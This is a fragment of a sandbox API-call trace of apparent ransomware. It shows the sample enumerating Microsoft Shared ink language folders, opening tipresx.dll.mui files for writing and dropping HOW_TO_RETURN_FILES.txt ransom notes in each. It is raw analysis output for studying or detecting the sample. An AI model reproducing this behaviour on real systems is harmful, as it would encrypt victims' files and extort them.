dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.055] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.055] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.055] AreFileApisANSI () returned 1 [0095.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.056] GetFileType (hFile=0x130) returned 0x1 [0095.056] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.056] AreFileApisANSI () returned 1 [0095.056] GetACP () returned 0x4e4 [0095.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pl-PL", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="pl-PL", lpUsedDefaultChar=0x37df4c) returned 5 [0095.056] AreFileApisANSI () returned 1 [0095.056] GetACP () returned 0x4e4 [0095.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\j\x04") returned 57 [0095.057] AreFileApisANSI () returned 1 [0095.057] GetACP () returned 0x4e4 [0095.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.057] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.057] AreFileApisANSI () returned 1 [0095.057] GetACP () returned 0x4e4 [0095.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.058] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.058] AreFileApisANSI () returned 1 [0095.058] GetACP () returned 0x4e4 [0095.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.058] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.058] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.058] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.058] AreFileApisANSI () returned 1 [0095.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.059] GetFileType (hFile=0x130) returned 0x1 [0095.060] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.060] AreFileApisANSI () returned 1 [0095.060] GetACP () returned 0x4e4 [0095.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="pt-BR", lpUsedDefaultChar=0x37df4c) returned 5 [0095.060] AreFileApisANSI () returned 1 [0095.060] GetACP () returned 0x4e4 [0095.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\j\x04") returned 57 [0095.060] AreFileApisANSI () returned 1 [0095.061] GetACP () returned 0x4e4 [0095.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.061] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.061] AreFileApisANSI () returned 1 [0095.061] GetACP () returned 0x4e4 [0095.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.061] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.061] AreFileApisANSI () returned 1 [0095.061] GetACP () returned 0x4e4 [0095.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.061] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.061] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.061] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.061] AreFileApisANSI () returned 1 [0095.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.061] GetFileType (hFile=0x130) returned 0x1 [0095.062] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.062] AreFileApisANSI () returned 1 [0095.062] GetACP () returned 0x4e4 [0095.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="pt-PT", lpUsedDefaultChar=0x37df4c) returned 5 [0095.062] AreFileApisANSI () returned 1 [0095.062] GetACP () returned 0x4e4 [0095.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\j\x04") returned 57 [0095.063] AreFileApisANSI () returned 1 [0095.063] GetACP () returned 0x4e4 [0095.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.063] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.063] AreFileApisANSI () returned 1 [0095.063] GetACP () returned 0x4e4 [0095.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.063] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.063] AreFileApisANSI () returned 1 [0095.063] GetACP () returned 0x4e4 [0095.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.063] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.063] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.063] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.063] AreFileApisANSI () returned 1 [0095.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.067] GetFileType (hFile=0x130) returned 0x1 [0095.067] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.067] AreFileApisANSI () returned 1 [0095.067] GetACP () returned 0x4e4 [0095.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ro-RO", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ro-RO", lpUsedDefaultChar=0x37df4c) returned 5 [0095.067] AreFileApisANSI () returned 1 [0095.067] GetACP () returned 0x4e4 [0095.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\j\x04") returned 57 [0095.068] AreFileApisANSI () returned 1 [0095.068] GetACP () returned 0x4e4 [0095.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.068] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.068] AreFileApisANSI () returned 1 [0095.068] GetACP () returned 0x4e4 [0095.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.068] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.068] AreFileApisANSI () returned 1 [0095.068] GetACP () returned 0x4e4 [0095.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.068] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.068] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.068] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.068] AreFileApisANSI () returned 1 [0095.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.069] GetFileType (hFile=0x130) returned 0x1 [0095.069] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.070] AreFileApisANSI () returned 1 [0095.070] GetACP () returned 0x4e4 [0095.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtscom.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rtscom.dlldll", lpUsedDefaultChar=0x37df4c) returned 10 [0095.070] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.070] AreFileApisANSI () returned 1 [0095.070] GetACP () returned 0x4e4 [0095.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ru-RU", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ru-RUm.dll", lpUsedDefaultChar=0x37df4c) returned 5 [0095.070] AreFileApisANSI () returned 1 [0095.070] GetACP () returned 0x4e4 [0095.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\j\x04") returned 57 [0095.071] AreFileApisANSI () returned 1 [0095.071] GetACP () returned 0x4e4 [0095.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.071] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.071] AreFileApisANSI () returned 1 [0095.071] GetACP () returned 0x4e4 [0095.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.071] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.071] AreFileApisANSI () returned 1 [0095.072] GetACP () returned 0x4e4 [0095.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.072] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.073] AreFileApisANSI () returned 1 [0095.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.073] GetFileType (hFile=0x130) returned 0x1 [0095.074] AreFileApisANSI () returned 1 [0095.074] GetACP () returned 0x4e4 [0095.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ShapeCollector.exe", cchWideChar=18, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ShapeCollector.exe.dll", lpUsedDefaultChar=0x37df4c) returned 18 [0095.074] AreFileApisANSI () returned 1 [0095.074] GetACP () returned 0x4e4 [0095.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sk-SK", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sk-SKCollector.exe", lpUsedDefaultChar=0x37df4c) returned 5 [0095.074] AreFileApisANSI () returned 1 [0095.074] GetACP () returned 0x4e4 [0095.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\") returned 57 [0095.075] AreFileApisANSI () returned 1 [0095.075] GetACP () returned 0x4e4 [0095.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.075] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.075] AreFileApisANSI () returned 1 [0095.075] GetACP () returned 0x4e4 [0095.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.075] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.075] AreFileApisANSI () returned 1 [0095.075] GetACP () returned 0x4e4 [0095.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="tipresx.dll.mui", cchWideChar=15, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="tipresx.dll.muiQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 15 [0095.075] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0095.075] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 0 [0095.075] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0095.075] AreFileApisANSI () returned 1 [0095.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0095.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0095.077] GetFileType (hFile=0x130) returned 0x1 [0095.077] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0095.077] AreFileApisANSI () returned 1 [0095.077] GetACP () returned 0x4e4 [0095.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sl-SI", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sl-SI", lpUsedDefaultChar=0x37df4c) returned 5 [0095.077] AreFileApisANSI () returned 1 [0095.077] GetACP () returned 0x4e4 [0095.078] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\j\x04") returned 57 [0095.078] AreFileApisANSI () returned 1 [0095.078] GetACP () returned 0x4e4 [0095.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0095.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 1 [0095.078] AreFileApisANSI () returned 1 [0095.078] GetACP () returned 0x4e4 [0095.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0095.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6ba1f8 | out: lpFindFileData=0x6ba1f8) returned 